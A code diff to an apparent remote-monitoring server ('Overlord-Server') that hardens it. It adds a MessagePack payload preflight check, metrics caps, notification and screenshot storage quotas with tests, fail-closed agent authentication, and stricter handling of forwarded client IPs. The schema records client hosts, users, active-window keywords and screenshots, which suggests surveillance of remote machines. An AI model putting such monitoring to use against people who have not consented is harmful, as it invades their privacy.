MessagePackPreflightError extends Error { + constructor(message: string) { + super(`Unsafe MessagePack payload: ${message}`); + this.name = "MessagePackPreflightError"; + } +} + +function positiveIntegerLimit(value: number | undefined, fallback: number): number { + const numeric = Number(value); + if (!Number.isFinite(numeric) || numeric <= 0) return fallback; + return Math.min(Number.MAX_SAFE_INTEGER, Math.floor(numeric)); +} + +function asBytes(input: Uint8Array | ArrayBuffer): Uint8Array { + return input instanceof Uint8Array ? input : new Uint8Array(input); +} + +export function preflightMessagePack( + input: Uint8Array | ArrayBuffer, + limits: Partial = {}, +): void { + const bytes = asBytes(input); + const view = new DataView(bytes.buffer, bytes.byteOffset, bytes.byteLength); + const maxDepth = positiveIntegerLimit( + limits.maxDepth, + DEFAULT_UNTRUSTED_MESSAGEPACK_LIMITS.maxDepth, + ); + const maxContainerItems = positiveIntegerLimit( + limits.maxContainerItems, + DEFAULT_UNTRUSTED_MESSAGEPACK_LIMITS.maxContainerItems, + ); + let offset = 0; + let pendingValues = 1; + const stack: Array<{ remaining: number; depth: number }> = [ + { remaining: 1, depth: 1 }, + ]; + + const fail = (message: string): never => { + throw new MessagePackPreflightError(message); + }; + const requireBytes = (count: number, context: string): void => { + if (!Number.isSafeInteger(count) || count < 0 || count > bytes.length - offset) { + fail(`truncated ${context}`); + } + }; + const readUint8 = (context: string): number => { + requireBytes(1, context); + return view.getUint8(offset++); + }; + const readUint16 = (context: string): number => { + requireBytes(2, context); + const value = view.getUint16(offset); + offset += 2; + return value; + }; + const readUint32 = (context: string): number => { + requireBytes(4, context); + const value = view.getUint32(offset); + offset += 4; + return value; + }; + const skip = (count: number, context: string): void => { + requireBytes(count, context); + offset += count; + }; + const skipExtension = (length: number): void => { + skip(1, "extension type"); + skip(length, "extension body"); + }; + + while (stack.length > 0) { + const frame = stack[stack.length - 1]!; + if (frame.remaining === 0) { + stack.pop(); + continue; + } + frame.remaining -= 1; + pendingValues -= 1; + if (frame.depth > maxDepth) fail("nesting depth limit exceeded"); + + const prefix = readUint8("value header"); + let containerItems: number | null = null; + let childValues = 0; + + if (prefix <= 0x7f || prefix >= 0xe0) { + } else if (prefix >= 0x80 && prefix <= 0x8f) { + containerItems = prefix & 0x0f; + childValues = containerItems * 2; + } else if (prefix >= 0x90 && prefix <= 0x9f) { + containerItems = prefix & 0x0f; + childValues = containerItems; + } else if (prefix >= 0xa0 && prefix <= 0xbf) { + skip(prefix & 0x1f, "fixed string body"); + } else { + switch (prefix) { + case 0xc0: // nil + case 0xc2: // false + case 0xc3: // true + break; + case 0xc1: + fail("reserved 0xc1 prefix"); + break; + case 0xc4: + skip(readUint8("bin8 length"), "bin8 body"); + break; + case 0xc5: + skip(readUint16("bin16 length"), "bin16 body"); + break; + case 0xc6: + skip(readUint32("bin32 length"), "bin32 body"); + break; + case 0xc7: + skipExtension(readUint8("ext8 length")); + break; + case 0xc8: + skipExtension(readUint16("ext16 length")); + break; + case 0xc9: + skipExtension(readUint32("ext32 length")); + break; + case 0xca: + skip(4, "float32 body"); + break; + case 0xcb: + skip(8, "float64 body"); + break; + case 0xcc: + case 0xd0: + skip(1, "8-bit integer body"); + break; + case 0xcd: + case 0xd1: + skip(2, "16-bit integer body"); + break; + case 0xce: + case 0xd2: + skip(4, "32-bit integer body"); + break; + case 0xcf: + case 0xd3: + skip(8, "64-bit integer body"); + break; + case 0xd4: + skipExtension(1); + break; + case 0xd5: + skipExtension(2); + break; + case 0xd6: + skipExtension(4); + break; + case 0xd7: + skipExtension(8); + break; + case 0xd8: + skipExtension(16); + break; + case 0xd9: + skip(readUint8("str8 length"), "str8 body"); + break; + case 0xda: + skip(readUint16("str16 length"), "str16 body"); + break; + case 0xdb: + skip(readUint32("str32 length"), "str32 body"); + break; + case 0xdc: + containerItems = readUint16("array16 length"); + childValues = containerItems; + break; + case 0xdd: + containerItems = readUint32("array32 length"); + childValues = containerItems; + break; + case 0xde: + containerItems = readUint16("map16 length"); + childValues = containerItems * 2; + break; + case 0xdf: + containerItems = readUint32("map32 length"); + childValues = containerItems * 2; + break; + default: + fail(`unknown prefix 0x${prefix.toString(16).padStart(2, "0")}`); + } + } + + if (containerItems !== null) { + if (containerItems > maxContainerItems) fail("per-container item limit exceeded"); + if (childValues > 0 && frame.depth >= maxDepth) { + fail("nesting depth limit exceeded"); + } + pendingValues += childValues; + if (childValues > 0) { + stack.push({ remaining: childValues, depth: frame.depth + 1 }); + } + } + } + + if (pendingValues !== 0) fail("truncated container"); + if (offset !== bytes.length) fail("trailing bytes after root value"); +} diff --git a/Overlord-Server/src/metrics.test.ts b/Overlord-Server/src/metrics.test.ts index 2fc6bab..9fe365a 100644 --- a/Overlord-Server/src/metrics.test.ts +++ b/Overlord-Server/src/metrics.test.ts @@ -1,5 +1,5 @@ import { describe, expect, test, beforeEach } from "bun:test"; -import { metrics } from "./metrics"; +import { MAX_HTTP_METRIC_ROUTE_KEYS, metrics } from "./metrics"; beforeEach(() => { metrics.reset(); @@ -151,6 +151,15 @@ describe("MetricsCollector", () => { "GET /api/clients", ]); }); + + test("caps attacker-controlled HTTP route cardinality", () => { + for (let i = 0; i < MAX_HTTP_METRIC_ROUTE_KEYS + 200; i++) { + metrics.recordHttpRequest(i, 404, `GET /random-${i}`); + } + + expect((metrics as any).httpRouteSamples.size).toBe(MAX_HTTP_METRIC_ROUTE_KEYS); + expect((metrics as any).httpRouteSamples.has("OTHER high-cardinality routes")).toBe(true); + }); }); describe("snapshot structure", () => { diff --git a/Overlord-Server/src/metrics.ts b/Overlord-Server/src/metrics.ts index d73ba00..ab64b8f 100644 --- a/Overlord-Server/src/metrics.ts +++ b/Overlord-Server/src/metrics.ts @@ -130,6 +130,9 @@ interface TimedInternalTaskSample { duration: number; } +export const MAX_HTTP_METRIC_ROUTE_KEYS = 512; +const OVERFLOW_HTTP_METRIC_ROUTE = "OTHER high-cardinality routes"; + class MetricsCollector { private startTime: number = Date.now(); @@ -421,12 +424,25 @@ class MetricsCollector { this.httpSamples.splice(0, this.httpSamples.length - this.maxHttpLatencyHistory); } - const routeSamples = this.httpRouteSamples.get(route) || []; + let retainedRoute = route; + if ( + !this.httpRouteSamples.has(retainedRoute) + && !this.httpRouteSamples.has(OVERFLOW_HTTP_METRIC_ROUTE) + && this.httpRouteSamples.size >= MAX_HTTP_METRIC_ROUTE_KEYS - 1 + ) { + retainedRoute = OVERFLOW_HTTP_METRIC_ROUTE; + } else if ( + !this.httpRouteSamples.has(retainedRoute) + && this.httpRouteSamples.size >= MAX_HTTP_METRIC_ROUTE_KEYS + ) { + retainedRoute = OVERFLOW_HTTP_METRIC_ROUTE; + } + const routeSamples = this.httpRouteSamples.get(retainedRoute) || []; routeSamples.push(sample); if (routeSamples.length > this.maxHttpRouteSamples) { routeSamples.splice(0, routeSamples.length - this.maxHttpRouteSamples); } - this.httpRouteSamples.set(route, routeSamples); + this.httpRouteSamples.set(retainedRoute, routeSamples); } } diff --git a/Overlord-Server/src/notification-history-storage.test.ts b/Overlord-Server/src/notification-history-storage.test.ts new file mode 100644 index 0000000..c20b8aa --- /dev/null +++ b/Overlord-Server/src/notification-history-storage.test.ts @@ -0,0 +1,222 @@ +import { describe, expect, test } from "bun:test"; +import Database from "bun:sqlite"; +import { + createNotificationSaver, + notificationPayloadBytes, + type NotificationHistoryQuotaLimits, + type NotificationRow, +} from "./db/repositories"; + +const generousLimits: NotificationHistoryQuotaLimits = { + perClientCount: 10_000, + perClientBytes: 128 * 1024 * 1024, + globalCount: 100_000, + globalBytes: 1024 * 1024 * 1024, +}; + +function createHarness(limits: NotificationHistoryQuotaLimits = generousLimits) { + const database = new Database(":memory:"); + database.exec(` + CREATE TABLE notifications ( + id TEXT PRIMARY KEY, + client_id TEXT NOT NULL, + host TEXT, + user TEXT, + os TEXT, + title TEXT NOT NULL, + process TEXT, + process_path TEXT, + detail TEXT, + pid INTEGER, + keyword TEXT, + category TEXT NOT NULL DEFAULT 'active_window', + ts INTEGER NOT NULL, + screenshot_id TEXT + ); + CREATE TABLE notification_screenshots ( + id TEXT PRIMARY KEY, + notification_id TEXT NOT NULL, + client_id TEXT NOT NULL, + ts INTEGER NOT NULL, + format TEXT NOT NULL, + width INTEGER, + height INTEGER, + bytes BLOB NOT NULL + ); + `); + return { + database, + save: createNotificationSaver(database as any, () => limits), + }; +} + +function notification( + id: string, + clientId: string, + ts: number, + detail = "", +): NotificationRow { + return { + id, + clientId, + host: "host", + user: "user", + os: "windows", + title: `title-${id}`, + process: "process.exe", + processPath: "C:\\process.exe", + detail, + keyword: "keyword", + category: "active_window", + ts, + }; +} + +describe("notification history storage quotas", () => { + test("prunes the oldest per-client row and its linked screenshot", () => { + const { database, save } = createHarness({ ...generousLimits, perClientCount: 2 }); + try { + expect(save(notification("n1", "client-a", 1))).toBe(true); + expect(save(notification("n2", "client-a", 2))).toBe(true); + database.run( + `INSERT INTO notification_screenshots + (id, notification_id, client_id, ts, format, width, height, bytes) + VALUES (?, ?, ?, ?, ?, ?, ?, ?)`, + ["shot-1", "n1", "client-a", 1, "jpeg", 1, 1, new Uint8Array([1])], + ); + database.run("UPDATE notifications SET screenshot_id='shot-1' WHERE id='n1'"); + + expect(save(notification("n3", "client-a", 3))).toBe(true); + expect(database.query( + "SELECT id FROM notifications ORDER BY ts", + ).all()).toEqual([{ id: "n2" }, { id: "n3" }]); + expect((database.query( + "SELECT COUNT(*) AS count FROM notification_screenshots", + ).get() as { count: number }).count).toBe(0); + } finally { + database.close(); + } + }); + + test("enforces the global count cap across distinct client identities", () => { + const { database, save } = createHarness({ ...generousLimits, globalCount: 2 }); + try { + expect(save(notification("n1", "client-a", 1))).toBe(true); + expect(save(notification("n2", "client-b", 2))).toBe(true); + expect(save(notification("n3", "client-c", 3))).toBe(true); + + expect(database.query( + "SELECT id, client_id FROM notifications ORDER BY ts", + ).all()).toEqual([ + { id: "n2", client_id: "client-b" }, + { id: "n3", client_id: "client-c" }, + ]); + } finally { + database.close(); + } + }); + + test("uses UTF-8 payload bytes to enforce per-client retention", () => { + const first = notification("n1", "client-a", 1, "é".repeat(200)); + const second = notification("n2", "client-a", 2, "界".repeat(200)); + const oneRowLimit = Math.max( + notificationPayloadBytes(first), + notificationPayloadBytes(second), + ); + const { database, save } = createHarness({ + ...generousLimits, + perClientBytes: oneRowLimit, + }); + try { + expect(save(first)).toBe(true); + expect(save(second)).toBe(true); + expect(database.query( + "SELECT id FROM notifications", + ).all()).toEqual([{ id: "n2" }]); + } finally { + database.close(); + } + }); + + test("rejects a single oversized row without evicting retained history", () => { + const retained = notification("retained", "client-a", 1, "small"); + const oversized = notification("oversized", "client-a", 2, "x".repeat(5_000)); + const limit = notificationPayloadBytes(retained) + 10; + const { database, save } = createHarness({ + ...generousLimits, + perClientBytes: limit, + globalBytes: limit, + }); + try { + expect(save(retained)).toBe(true); + expect(save(oversized)).toBe(false); + expect(database.query( + "SELECT id FROM notifications", + ).all()).toEqual([{ id: "retained" }]); + } finally { + database.close(); + } + }); + + test("rolls back cleanup if the admitted notification write fails", () => { + const { database, save } = createHarness({ + ...generousLimits, + globalCount: 1, + }); + try { + expect(save(notification("retained", "client-a", 1))).toBe(true); + database.exec(` + CREATE TRIGGER reject_incoming_notification BEFORE INSERT ON notifications + WHEN new.id = 'incoming' + BEGIN + SELECT RAISE(ABORT, 'injected failure'); + END; + `); + + expect(() => save(notification("incoming", "client-b", 2))).toThrow(); + expect(database.query( + "SELECT id FROM notifications", + ).all()).toEqual([{ id: "retained" }]); + } finally { + database.close(); + } + }); + + test("commits bounded cleanup while preserving a rejected replacement row", () => { + const { database, save } = createHarness({ + ...generousLimits, + globalCount: 1, + }); + try { + const insert = database.prepare( + `INSERT INTO notifications + (id, client_id, title, category, ts) + VALUES (?, ?, ?, ?, ?)`, + ); + database.transaction(() => { + insert.run("incoming", "new-client", "protected-old", "active_window", 0); + for (let i = 0; i < 2_001; i += 1) { + insert.run(`old-${i}`, `client-${i}`, "old", "active_window", i + 1); + } + })(); + + expect(save(notification("incoming", "new-client", 10_000))).toBe(false); + expect((database.query( + "SELECT COUNT(*) AS count FROM notifications", + ).get() as { count: number }).count).toBe(2); + expect(database.query( + "SELECT title FROM notifications WHERE id='incoming'", + ).get()).toEqual({ title: "protected-old" }); + expect(database.query( + "SELECT id FROM notifications WHERE id<>'incoming'", + ).all()).toEqual([{ id: "old-2000" }]); + + expect(save(notification("incoming", "new-client", 10_000))).toBe(true); + expect(database.query( + "SELECT id, title FROM notifications", + ).all()).toEqual([{ id: "incoming", title: "title-incoming" }]); + } finally { + database.close(); + } + }); +}); diff --git a/Overlord-Server/src/notification-screenshot-storage.test.ts b/Overlord-Server/src/notification-screenshot-storage.test.ts new file mode 100644 index 0000000..e10c457 --- /dev/null +++ b/Overlord-Server/src/notification-screenshot-storage.test.ts @@ -0,0 +1,269 @@ +import { describe, expect, test } from "bun:test"; +import Database from "bun:sqlite"; +import { + createNotificationScreenshotSaver, + type NotificationScreenshotQuotaLimits, + type NotificationScreenshotRecord, +} from "./db/repositories"; + +const generousLimits: NotificationScreenshotQuotaLimits = { + perClientCount: 100, + perClientBytes: 1024 * 1024, + globalCount: 1_000, + globalBytes: 16 * 1024 * 1024, +}; + +function createHarness(limits: NotificationScreenshotQuotaLimits = generousLimits) { + const database = new Database(":memory:"); + database.exec(` + CREATE TABLE notifications ( + id TEXT PRIMARY KEY, + client_id TEXT NOT NULL, + ts INTEGER NOT NULL, + screenshot_id TEXT + ); + CREATE TABLE notification_screenshots ( + id TEXT PRIMARY KEY, + notification_id TEXT NOT NULL, + client_id TEXT NOT NULL, + ts INTEGER NOT NULL, + format TEXT NOT NULL, + width INTEGER, + height INTEGER, + bytes BLOB NOT NULL + ); + `); + const save = createNotificationScreenshotSaver(database as any, () => limits); + return { database, save }; +} + +function addNotification(database: Database, id: string, clientId: string, ts: number) { + database.run( + "INSERT INTO notifications (id, client_id, ts, screenshot_id) VALUES (?, ?, ?, NULL)", + [id, clientId, ts], + ); +} + +function screenshot( + id: string, + notificationId: string, + clientId: string, + ts: number, + bytes = 6, +): NotificationScreenshotRecord { + return { + id, + notificationId, + clientId, + ts, + format: "jpeg", + width: 1, + height: 1, + bytes: new Uint8Array(bytes).fill(1), + }; +} + +describe("notification screenshot storage quotas", () => { + test("atomically accepts only one result for a notification", () => { + const { database, save } = createHarness(); + try { + addNotification(database, "notification-race", "client-a", 1); + + expect(save(screenshot("shot-first", "notification-race", "client-a", 1))).toBe(true); + expect(save(screenshot("shot-late", "notification-race", "client-a", 2))).toBe(false); + + const rows = database.query( + "SELECT id FROM notification_screenshots WHERE notification_id=?", + ).all("notification-race") as Array<{ id: string }>; + const notification = database.query( + "SELECT screenshot_id FROM notifications WHERE id=?", + ).get("notification-race") as { screenshot_id: string | null } | null; + expect(rows).toEqual([{ id: "shot-first" }]); + expect(notification?.screenshot_id).toBe("shot-first"); + } finally { + database.close(); + } + }); + + test("does not create an orphan when its notification is missing or mismatched", () => { + const { database, save } = createHarness(); + try { + addNotification(database, "notification-owned", "client-a", 1); + expect(save(screenshot("shot-missing", "missing", "client-a", 1))).toBe(false); + expect(save(screenshot("shot-wrong-client", "notification-owned", "client-b", 1))).toBe(false); + expect((database.query( + "SELECT COUNT(*) AS count FROM notification_screenshots", + ).get() as { count: number } | null)?.count).toBe(0); + } finally { + database.close(); + } + }); + + test("prunes the oldest client rows for both count and byte quotas", () => { + const { database, save } = createHarness({ + ...generousLimits, + perClientCount: 2, + perClientBytes: 10, + }); + try { + addNotification(database, "notification-1", "client-a", 1); + addNotification(database, "notification-2", "client-a", 2); + addNotification(database, "notification-3", "client-a", 3); + + expect(save(screenshot("shot-1", "notification-1", "client-a", 1))).toBe(true); + expect(save(screenshot("shot-2", "notification-2", "client-a", 2))).toBe(true); + expect(save(screenshot("shot-3", "notification-3", "client-a", 3))).toBe(true); + + const rows = database.query( + "SELECT id FROM notification_screenshots ORDER BY ts", + ).all() as Array<{ id: string }>; + const pruned = database.query( + "SELECT screenshot_id FROM notifications WHERE id='notification-2'", + ).get() as { screenshot_id: string | null } | null; + expect(rows).toEqual([{ id: "shot-3" }]); + expect(pruned?.screenshot_id).toBeNull(); + } finally { + database.close(); + } + }); + + test("enforces a global quota across clients and clears evicted links", () => { + const { database, save } = createHarness({ + ...generousLimits, + globalCount: 2, + }); + try { + addNotification(database, "notification-global-1", "client-a", 1); + addNotification(database, "notification-global-2", "client-b", 2); + addNotification(database, "notification-global-3", "client-c", 3); + + expect(save(screenshot("shot-global-1", "notification-global-1", "client-a", 1))).toBe(true); + expect(save(screenshot("shot-global-2", "notification-global-2", "client-b", 2))).toBe(true); + expect(save(screenshot("shot-global-3", "notification-global-3", "client-c", 3))).toBe(true); + + expect(database.query( + "SELECT id FROM notification_screenshots ORDER BY ts", + ).all() as Array<{ id: string }>).toEqual([{ id: "shot-global-2" }, { id: "shot-global-3" }]); + expect((database.query( + "SELECT screenshot_id FROM notifications WHERE id='notification-global-1'", + ).get() as { screenshot_id: string | null } | null)?.screenshot_id).toBeNull(); + } finally { + database.close(); + } + }); + + test("rolls back cleanup and link changes if the screenshot insert fails", () => { + const { database, save } = createHarness({ + ...generousLimits, + globalCount: 1, + }); + try { + addNotification(database, "notification-retained", "client-a", 1); + addNotification(database, "notification-incoming", "client-b", 2); + expect(save(screenshot( + "shot-retained", + "notification-retained", + "client-a", + 1, + ))).toBe(true); + database.exec(` + CREATE TRIGGER reject_incoming_screenshot BEFORE INSERT ON notification_screenshots + WHEN new.id = 'shot-incoming' + BEGIN + SELECT RAISE(ABORT, 'injected failure'); + END; + `); + + expect(() => save(screenshot( + "shot-incoming", + "notification-incoming", + "client-b", + 2, + ))).toThrow(); + expect(database.query( + "SELECT id FROM notification_screenshots", + ).all()).toEqual([{ id: "shot-retained" }]); + expect((database.query( + "SELECT screenshot_id FROM notifications WHERE id='notification-retained'", + ).get() as { screenshot_id: string | null }).screenshot_id).toBe("shot-retained"); + } finally { + database.close(); + } + }); + + test("removes legacy orphan rows in the same transaction", () => { + const { database, save } = createHarness(); + try { + database.run( + `INSERT INTO notification_screenshots + (id, notification_id, client_id, ts, format, width, height, bytes) + VALUES (?, ?, ?, ?, ?, ?, ?, ?)`, + ["legacy-orphan", "gone", "client-a", 1, "jpeg", 1, 1, new Uint8Array([1])], + ); + addNotification(database, "notification-live", "client-a", 2); + + expect(save(screenshot("shot-live", "notification-live", "client-a", 2))).toBe(true); + expect(database.query( + "SELECT id FROM notification_screenshots ORDER BY id", + ).all() as Array<{ id: string }>).toEqual([{ id: "shot-live" }]); + } finally { + database.close(); + } + }); + + test("commits bounded cleanup when one pass cannot yet admit the screenshot", () => { + const { database, save } = createHarness({ + perClientCount: 1_000, + perClientBytes: 1024 * 1024, + globalCount: 1, + globalBytes: 16 * 1024 * 1024, + }); + try { + database.exec("BEGIN"); + for (let i = 0; i < 252; i += 1) { + const notificationId = `existing-notification-${i}`; + const screenshotId = `existing-shot-${i}`; + database.run( + "INSERT INTO notifications (id, client_id, ts, screenshot_id) VALUES (?, ?, ?, ?)", + [notificationId, "existing-client", i, screenshotId], + ); + database.run( + `INSERT INTO notification_screenshots + (id, notification_id, client_id, ts, format, width, height, bytes) + VALUES (?, ?, ?, ?, ?, ?, ?, ?)`, + [screenshotId, notificationId, "existing-client", i, "jpeg", 1, 1, new Uint8Array([1])], + ); + } + database.exec("COMMIT"); + addNotification(database, "notification-over-limit", "new-client", 1_000); + + expect(save(screenshot( + "shot-over-limit", + "notification-over-limit", + "new-client", + 1_000, + ))).toBe(false); + expect((database.query( + "SELECT COUNT(*) AS count FROM notification_screenshots", + ).get() as { count: number }).count).toBe(2); + expect(database.query( + "SELECT id FROM notification_screenshots ORDER BY ts", + ).all()).toEqual([{ id: "existing-shot-250" }, { id: "existing-shot-251" }]); + expect((database.query( + "SELECT screenshot_id FROM notifications WHERE id='notification-over-limit'", + ).get() as { screenshot_id: string | null }).screenshot_id).toBeNull(); + + expect(save(screenshot( + "shot-over-limit", + "notification-over-limit", + "new-client", + 1_000, + ))).toBe(true); + expect(database.query( + "SELECT id FROM notification_screenshots", + ).all()).toEqual([{ id: "shot-over-limit" }]); + } finally { + database.close(); + } + }); +}); diff --git a/Overlord-Server/src/protocol.ts b/Overlord-Server/src/protocol.ts index f290c27..e94d41f 100644 --- a/Overlord-Server/src/protocol.ts +++ b/Overlord-Server/src/protocol.ts @@ -1,4 +1,5 @@ import { encode, decode } from "@msgpack/msgpack"; +import { preflightMessagePack } from "./messagepack-preflight"; import { getImplicitCommandVersion, isCommandType, @@ -532,5 +533,6 @@ export function decodeMessage( if (typeof input === "string") { return JSON.parse(input) as WireMessage; } + preflightMessagePack(input); return decode(input) as WireMessage; } diff --git a/Overlord-Server/src/rateLimit.ts b/Overlord-Server/src/rateLimit.ts index 60326cf..ad6b521 100644 --- a/Overlord-Server/src/rateLimit.ts +++ b/Overlord-Server/src/rateLimit.ts @@ -172,6 +172,21 @@ export function consumeSolRpcRateLimit( return consumeRequestRateLimit(`sol-${action}:${userId}`, `Solana ${action}`, policy); } +export function consumePushSubscriptionMutationRateLimit( + userId: number, +): { limited: boolean; retryAfter?: number } { + const policy = makeRequestPolicy("PUSH_SUBSCRIPTION", { + maxRequests: 20, + windowMs: 60 * 1000, + lockoutMs: 60 * 1000, + }); + return consumeRequestRateLimit( + `push-subscription:${userId}`, + "Push subscription mutation", + policy, + ); +} + export function clearRequestRateLimitsForTests(): void { requestRateLimitStore.clear(); } diff --git a/Overlord-Server/src/server/agent-auth.test.ts b/Overlord-Server/src/server/agent-auth.test.ts index 36d1835..902b1fd 100644 --- a/Overlord-Server/src/server/agent-auth.test.ts +++ b/Overlord-Server/src/server/agent-auth.test.ts @@ -28,9 +28,9 @@ describe("isAuthorizedAgentRequest", () => { for (const k of Object.keys(originalEnv)) delete originalEnv[k]; }); - test("returns true when agentToken is empty/undefined", () => { - expect(isAuthorizedAgentRequest(makeReq(), makeUrl(), "")).toBe(true); - expect(isAuthorizedAgentRequest(makeReq(), makeUrl(), undefined)).toBe(true); + test("fails closed when agentToken is empty/undefined", () => { + expect(isAuthorizedAgentRequest(makeReq(), makeUrl(), "")).toBe(false); + expect(isAuthorizedAgentRequest(makeReq(), makeUrl(), undefined)).toBe(false); }); test("authenticates via x-agent-token header", () => { @@ -39,12 +39,19 @@ describe("isAuthorizedAgentRequest", () => { expect(isAuthorizedAgentRequest(req, makeUrl(), token)).toBe(true); }); - test("authenticates via query string token", () => { + test("supports query string tokens by default for legacy clients", () => { const token = "secret-agent-token-abc123"; const url = makeUrl({ token }); expect(isAuthorizedAgentRequest(makeReq(), url, token)).toBe(true); }); + test("allows operators to explicitly disable legacy query tokens", () => { + setEnv("OVERLORD_ALLOW_AGENT_TOKEN_QUERY", "false"); + const token = "secret-agent-token-abc123"; + const url = makeUrl({ token }); + expect(isAuthorizedAgentRequest(makeReq(), url, token)).toBe(false); + }); + test("rejects wrong header token", () => { const req = makeReq({ "x-agent-token": "wrong" }); expect(isAuthorizedAgentRequest(req, makeUrl(), "correct-token")).toBe(false); diff --git a/Overlord-Server/src/server/agent-auth.ts b/Overlord-Server/src/server/agent-auth.ts index d6df259..468fa92 100644 --- a/Overlord-Server/src/server/agent-auth.ts +++ b/Overlord-Server/src/server/agent-auth.ts @@ -4,6 +4,7 @@ import { timingSafeEqual } from "crypto"; let warnedDisableAuthIgnored = false; let loggedAuthDisabledByEnv = false; let loggedAuthDisabledNoToken = false; +let warnedLegacyQueryAuth = false; function safeCompare(a: string, b: string): boolean { const bufA = Buffer.from(a); @@ -40,16 +41,23 @@ export function isAuthorizedAgentRequest( if (!token) { if (!loggedAuthDisabledNoToken) { loggedAuthDisabledNoToken = true; - logger.info("[auth] Agent auth disabled"); + logger.error("[auth] Agent auth token is missing; agent requests will be rejected"); } - return true; + return false; } const headerToken = req.headers.get("x-agent-token"); + if (headerToken !== null && safeCompare(headerToken, token)) return true; + + const legacyQuerySetting = String(process.env.OVERLORD_ALLOW_AGENT_TOKEN_QUERY || "").trim().toLowerCase(); + const allowLegacyQuery = legacyQuerySetting !== "false" && legacyQuerySetting !== "0"; + if (!allowLegacyQuery) return false; + if (!warnedLegacyQueryAuth) { + warnedLegacyQueryAuth = true; + logger.warn("[auth] Legacy agent query-token authentication is enabled; URLs may leak credentials"); + } const queryToken = url.searchParams.get("token"); - const isAuthed = - (headerToken !== null && safeCompare(headerToken, token)) || - (queryToken !== null && safeCompare(queryToken, token)); + const isAuthed = queryToken !== null && safeCompare(queryToken, token); return isAuthed; } diff --git a/Overlord-Server/src/server/client-ip.test.ts b/Overlord-Server/src/server/client-ip.test.ts index b969941..181acbb 100644 --- a/Overlord-Server/src/server/client-ip.test.ts +++ b/Overlord-Server/src/server/client-ip.test.ts @@ -6,7 +6,7 @@ import { wrapServerWithClientIp, } from "./client-ip"; -const ENV_KEYS = ["OVERLORD_TRUST_PROXY", "OVERLORD_TLS_OFFLOAD"] as const; +const ENV_KEYS = ["OVERLORD_TRUST_PROXY", "OVERLORD_TLS_OFFLOAD", "OVERLORD_TRUSTED_PROXY_IPS"] as const; const saved: Record = {}; beforeEach(() => { @@ -55,11 +55,12 @@ describe("resolveForwardedIp - trust disabled", () => { describe("resolveForwardedIp - trust enabled", () => { beforeEach(() => { process.env.OVERLORD_TRUST_PROXY = "true"; + process.env.OVERLORD_TRUSTED_PROXY_IPS = "172.17.0.1,172.18.0.1"; resetTrustProxyCacheForTests(); }); - test("picks leftmost public IP from X-Forwarded-For", () => { - const req = makeReq({ "x-forwarded-for": "203.0.113.42, 10.0.0.1, 172.17.0.1" }); + test("uses the rightmost forwarded address so prepended spoofing fails", () => { + const req = makeReq({ "x-forwarded-for": "198.51.100.250, 203.0.113.42" }); expect(resolveForwardedIp(req, "172.17.0.1")).toBe("203.0.113.42"); }); @@ -68,9 +69,9 @@ describe("resolveForwardedIp - trust enabled", () => { expect(resolveForwardedIp(req, "172.17.0.1")).toBe("203.0.113.99"); }); - test("falls back to leftmost when all hops are private", () => { + test("uses the rightmost address even when the client is private", () => { const req = makeReq({ "x-forwarded-for": "10.0.0.1, 172.17.0.1" }); - expect(resolveForwardedIp(req, "172.17.0.1")).toBe("10.0.0.1"); + expect(resolveForwardedIp(req, "172.17.0.1")).toBe("172.17.0.1"); }); test("honors X-Real-IP when no X-Forwarded-For", () => { @@ -88,6 +89,30 @@ describe("resolveForwardedIp - trust enabled", () => { expect(resolveForwardedIp(req, "172.17.0.1")).toBe("172.17.0.1"); }); + test("ignores spoofed forwarding headers from an untrusted public peer", () => { + const req = makeReq({ "x-forwarded-for": "1.2.3.4" }); + expect(resolveForwardedIp(req, "203.0.113.200")).toBe("203.0.113.200"); + }); + + test("does not implicitly trust every private-network peer", () => { + delete process.env.OVERLORD_TRUSTED_PROXY_IPS; + const req = makeReq({ "x-forwarded-for": "1.2.3.4" }); + expect(resolveForwardedIp(req, "10.0.0.25")).toBe("10.0.0.25"); + }); + + test("rejects non-IP X-Real-IP and CF-Connecting-IP values", () => { + expect(resolveForwardedIp(makeReq({ "x-real-ip": "attacker-key" }), "172.17.0.1")) + .toBe("172.17.0.1"); + expect(resolveForwardedIp(makeReq({ "cf-connecting-ip": "not-an-ip" }), "172.17.0.1")) + .toBe("172.17.0.1"); + }); + + test("accepts forwarding headers from an explicitly trusted public peer", () => { + process.env.OVERLORD_TRUSTED_PROXY_IPS = "203.0.113.200"; + const req = makeReq({ "x-forwarded-for": "1.2.3.4" }); + expect(resolveForwardedIp(req, "203.0.113.200")).toBe("1.2.3.4"); + }); + test("strips ports and IPv6 brackets", () => { const req = makeReq({ "x-forwarded-for": "203.0.113.42:51234" }); expect(resolveForwardedIp(req, "172.17.0.1")).toBe("203.0.113.42"); @@ -105,6 +130,7 @@ describe("resolveForwardedIp - trust enabled", () => { describe("wrapServerWithClientIp", () => { test("requestIP returns forwarded address when trust enabled", () => { process.env.OVERLORD_TRUST_PROXY = "true"; + process.env.OVERLORD_TRUSTED_PROXY_IPS = "172.18.0.1"; resetTrustProxyCacheForTests(); let upgradeCalled = false; diff --git a/Overlord-Server/src/server/client-ip.ts b/Overlord-Server/src/server/client-ip.ts index 8a1d9d0..744946f 100644 --- a/Overlord-Server/src/server/client-ip.ts +++ b/Overlord-Server/src/server/client-ip.ts @@ -1,3 +1,5 @@ +import { isIP } from "node:net"; + function envFlagEnabled(name: string): boolean { const v = String(process.env[name] || "").trim().toLowerCase(); return v === "1" || v === "true" || v === "yes" || v === "on"; @@ -17,41 +19,11 @@ export function resetTrustProxyCacheForTests(): void { } function isIPv4(ip: string): boolean { - const parts = ip.split("."); - if (parts.length !== 4) return false; - for (const p of parts) { - if (!/^\d{1,3}$/.test(p)) return false; - const n = Number(p); - if (n < 0 || n > 255) return false; - } - return true; + return isIP(ip) === 4; } function isIPv6(ip: string): boolean { - return ip.includes(":") && /^[0-9a-fA-F:.]+$/.test(ip); -} - -function isPrivateIPv4(ip: string): boolean { - const [a, b] = ip.split(".").map(Number); - if (a === 10) return true; - if (a === 127) return true; - if (a === 169 && b === 254) return true; - if (a === 172 && b >= 16 && b <= 31) return true; - if (a === 192 && b === 168) return true; - if (a === 100 && b >= 64 && b <= 127) return true; - return false; -} - -function isPrivateIPv6(ip: string): boolean { - const lower = ip.toLowerCase(); - if (lower === "::1") return true; - if (lower.startsWith("fc") || lower.startsWith("fd")) return true; - if (lower.startsWith("fe80:")) return true; - if (lower.startsWith("::ffff:")) { - const v4 = lower.slice("::ffff:".length); - return isIPv4(v4) && isPrivateIPv4(v4); - } - return false; + return isIP(ip) === 6; } function stripIPv6Brackets(ip: string): string { @@ -74,37 +46,57 @@ function normalizeCandidate(raw: string): string { return 